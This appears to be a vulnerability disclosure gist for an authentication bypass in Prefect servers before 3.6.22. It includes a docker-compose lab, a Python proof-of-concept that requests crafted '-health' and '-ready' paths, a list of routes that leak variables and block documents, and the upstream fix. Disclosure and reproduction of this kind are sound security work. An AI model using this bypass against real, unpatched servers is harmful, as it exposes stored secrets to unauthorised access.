

Instantly share code, notes, and snippets.

nedlir / **REPORT.md** Secret

Created 2 weeks ago

[Code](#) [Revisions](#) 1 **compo.e.yaml**

```
1  services:
2    postgres:
3      image: postgres:14
4      environment:
5        POSTGRES_USER: prefect
6        POSTGRES_PASSWORD: prefect
7        POSTGRES_DB: prefect
8      volumes:
9        - postgres_data:/var/lib/postgresql/data
10     healthcheck:
11       test: ["CMD-SHELL", "pg_isready -U prefect"]
12       interval: 5s
13       timeout: 5s
14       retries: 5
15
16     prefect-server:
17       image: prefecthq/prefect:3.6.21
18       depends_on:
19         postgres:
20           condition: service_healthy
21       environment:
22         PREFECT_API_DATABASE_CONNECTION_URL: postgresql+asyncpg://prefect:prefect@postgres:5
23         PREFECT_SERVER_API_HOST: 0.0.0.0
24         PREFECT_SERVER_UI_API_URL: http://localhost:4200/api
25         # AUTH ENABLED – this is the prerequisite for the vulnerability
26         PREFECT_SERVER_API_AUTH_STRING: "admin:supersecretpassword"
27       command: prefect server start
28       ports:
29         - "4200:4200"
30     healthcheck:
31       test:
32         [
33           "CMD",
34           "python",
35           "-c",
```

```
36         "import urllib.request as u; u.urlopen('http://localhost:4200/api/health', timeo
37     ]
38     interval: 30s
39     timeout: 10s
40     retries: 3
41     start_period: 60s
42
43 volumes:
44     postgres_data:
```

<> poc.py

```
1  """
2  PoC: Prefect auth bypass via endswith() health check exemption.
3  Affected: 3.x < 3.6.22 with PREFECT_SERVER_API_AUTH_STRING set.
4
5  Usage:
6      docker compose up -d
7      python poc.py (this file lol)
8  """
9
10 import requests
11 import sys
12
13 TARGET = "http://localhost:4200"
14
15 try:
16     requests.get(f"{TARGET}/api/health", timeout=5)
17 except requests.ConnectionError:
18     sys.exit("Server unreachable. Run: docker compose up -d")
19
20 if requests.get(f"{TARGET}/api/flows", timeout=5).status_code != 401:
21     sys.exit("Auth not enabled. Set PREFECT_SERVER_API_AUTH_STRING.")
22
23 pairs = [
24     ("/api/variables/name/test",      "/api/variables/name/test-health"),
25     ("/api/flows/name/myflow",       "/api/flows/name/myflow-health"),
26     ("/api/work_pools/default",      "/api/work_pools/default-ready"),
27     ("/api/concurrency_limits/tag/foo", "/api/concurrency_limits/tag/foo-health"),
28 ]
29
30 bypassed = 0
31 for normal, crafted in pairs:
32     a = requests.get(f"{TARGET}{normal}", timeout=5).status_code
33     b = requests.get(f"{TARGET}{crafted}", timeout=5).status_code
34     ok = a == 401 and b != 401
35     bypassed += ok
36     print(f"[{'BYPASS' if ok else 'FAIL'}] {normal} -> {a} | {crafted} -> {b}")
37
```

```
38 | print(f"\n{bypassed}/{len(pairs)} bypassed. 404 (not 401) = router reached.")
```

[REPORT.md](#)

Prefect Auth Bypass via `endswith()` Health Check Exemption

Field	Value
Product	Prefect (PrefectHQ/prefect)
Affected	3.x < 3.6.22 with <code>PREFECT_SERVER_API_AUTH_STRING</code> set
Fixed In	3.6.22
Fix Commit	<code>e216171253</code> (PR #21063)
CVE	None assigned
CWE	CWE-287, CWE-183
CVSS 3.1	5.3 Medium -- <code>AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N</code>

Bug

The auth middleware exempts health probes using suffix matching:

```
if request.url.path.endswith(("health", "ready")) and request.method.upper() == "GET":
    return await call_next(request)
```

Any GET path ending in `health` or `ready` skips authentication.

Constraints

- GET only. POST/PUT/DELETE still require auth.
- Most Prefect endpoints use UUIDs as path params (not exploitable).
- Attacker cannot create resources to match the suffix. Relies on pre-existing names.

Exploitable routes

Routes where the last path segment is a user-controlled string:

Route	Leaks
<code>/api/variables/name/{name}</code>	Variable value (may contain secrets)
<code>/api/work_pools/{name}</code>	Work pool config
<code>/api/flows/name/{name}</code>	Flow metadata
<code>/api/block_types/slug/{slug}/block_documents/name/{name}</code>	Block document (may contain secrets)
<code>/api/concurrency_limits/tag/{tag}</code>	Concurrency limit config
<code>/api/v2/concurrency_limits/{id_or_name}</code>	Concurrency limit config
<code>/api/work_queues/name/{name}</code>	Work queue config

Proof

```
GET /api/variables/name/test -> 401 (auth enforced)
GET /api/variables/name/test-health -> 404 (auth skipped, reached router)
```

404 instead of 401 proves the middleware was bypassed entirely. See `poc.py`.

Reproduction

```
docker compose up -d # starts Prefect 3.6.21 with auth enabled
python poc.py
```

Fix (3.6.22)

Replaced suffix matching with exact set membership on the ASGI scope path:

```
health_check_paths = {health_check_path, "/ready"}
app_path = request.scope["path"].removeprefix(request.scope.get("root_path",
if app_path in health_check_paths and request.method.upper() == "GET":
    return await call_next(request)
```